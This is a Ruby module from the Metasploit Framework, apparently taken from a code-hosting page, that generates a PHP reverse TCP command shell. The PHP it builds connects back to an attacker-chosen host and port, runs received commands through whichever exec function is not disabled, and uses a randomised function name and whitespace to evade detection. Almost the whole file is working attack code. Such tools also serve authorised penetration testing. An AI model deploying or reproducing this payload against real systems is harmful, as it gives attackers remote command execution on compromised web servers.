139 lines
3.3 KiB
Ruby
139 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/payload/php'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Php
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Command Shell, Reverse TCP (via php)',
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'Version' => '$Revision$',
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'Description' => 'Reverse PHP connect back shell with checks for disabled functions',
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'Author' => 'egypt',
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Issues
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# - Since each command is executed in a new shell, 'cd' does nothing.
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# Perhaps it should be special-cased to call chdir()
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# - Tries to get around disable_functions but makes no attempts to
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# circumvent safe mode.
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#
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def php_reverse_shell
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if (!datastore['LHOST'] or datastore['LHOST'].empty?)
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# datastore is empty on msfconsole startup
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ipaddr = '127.0.0.1'
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port = 4444
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else
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ipaddr = datastore['LHOST']
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port = datastore['LPORT']
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end
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exec_funcname = Rex::Text.rand_text_alpha(rand(10)+5)
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uri = "tcp://#{ipaddr}"
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socket_family = "AF_INET"
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if Rex::Socket.is_ipv6?(ipaddr)
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uri = "tcp://[#{ipaddr}]"
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socket_family = "AF_INET6"
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end
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shell=<<-END_OF_PHP_CODE
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$ipaddr=#{ipaddr};
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$port=#{port};
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#{php_preamble({:disabled_varname => "$dis"})}
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if(!function_exists('#{exec_funcname}')){
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function #{exec_funcname}($c){
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global $dis;
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#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
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return $o;
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}
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}
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$nofuncs='no exec functions';
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if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
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$s=@fsockopen("#{uri}",$port);
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while($c=fread($s,2048)){
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$out = '';
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if(substr($c,0,3) == 'cd '){
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chdir(substr($c,3,-1));
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} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
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break;
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}else{
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$out=#{exec_funcname}(substr($c,0,-1));
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if($out===false){
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fwrite($s,$nofuncs);
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break;
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}
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}
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fwrite($s,$out);
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}
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fclose($s);
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}else{
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$s=@socket_create(#{socket_family},SOCK_STREAM,SOL_TCP);
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@socket_connect($s,$ipaddr,$port);
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@socket_write($s,"socket_create");
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while($c=@socket_read($s,2048)){
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$out = '';
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if(substr($c,0,3) == 'cd '){
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chdir(substr($c,3,-1));
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} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
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break;
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}else{
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$out=#{exec_funcname}(substr($c,0,-1));
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if($out===false){
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@socket_write($s,$nofuncs);
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break;
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}
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}
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@socket_write($s,$out,strlen($out));
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}
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@socket_close($s);
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}
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END_OF_PHP_CODE
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# randomize the spaces a bit
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Rex::Text.randomize_space(shell)
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return shell
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end
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#
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# Constructs the payload
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#
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def generate
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return super + php_reverse_shell
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end
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end
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